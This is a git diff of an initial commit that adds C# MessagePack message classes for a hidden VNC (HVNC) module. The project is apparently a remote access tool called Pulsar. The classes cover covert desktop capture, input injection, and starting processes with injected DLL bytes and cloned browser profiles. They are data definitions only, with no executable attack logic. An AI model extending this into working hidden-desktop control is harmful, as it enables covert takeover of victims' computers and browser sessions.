initial commit
This commit is contained in:
@@ -0,0 +1,19 @@
|
||||
using System;
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.HVNC
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoHVNCInput : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public uint msg { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public int wParam { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public int lParam { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Enums;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.HVNC
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetHVNCDesktop : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public bool CreateNew { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public int Quality { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public int DisplayIndex { get; set; }
|
||||
|
||||
[Key(4)]
|
||||
public RemoteDesktopStatus Status { get; set; }
|
||||
|
||||
[Key(5)]
|
||||
public bool UseGPU { get; set; }
|
||||
|
||||
[Key(6)]
|
||||
public int FramesRequested { get; set; } = 1;
|
||||
|
||||
[Key(7)]
|
||||
public bool IsBufferedMode { get; set; } = true;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Video;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.HVNC
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetHVNCDesktopResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public byte[] Image { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public int Quality { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public int Monitor { get; set; }
|
||||
|
||||
[Key(4)]
|
||||
public Resolution Resolution { get; set; }
|
||||
|
||||
[Key(5)]
|
||||
public long Timestamp { get; set; }
|
||||
|
||||
[Key(6)]
|
||||
public bool IsLastRequestedFrame { get; set; }
|
||||
|
||||
[Key(7)]
|
||||
public float Fps { get; set; } = -1f;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.HVNC
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetHVNCMonitors : IMessage
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.HVNC
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetHVNCMonitorsResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public int Number { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
using System;
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.HVNC
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class StartHVNCProcess : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string Path { get; set; }
|
||||
[Key(2)]
|
||||
public string Arguments { get; set; }
|
||||
[Key(3)]
|
||||
public bool DontCloneProfile { get; set; }
|
||||
[Key(4)]
|
||||
public byte[] DllBytes { get; set; }
|
||||
[Key(5)]
|
||||
public string CustomBrowserPath { get; set; }
|
||||
[Key(6)]
|
||||
public string CustomSearchPattern { get; set; }
|
||||
[Key(7)]
|
||||
public string CustomReplacementPath { get; set; }
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user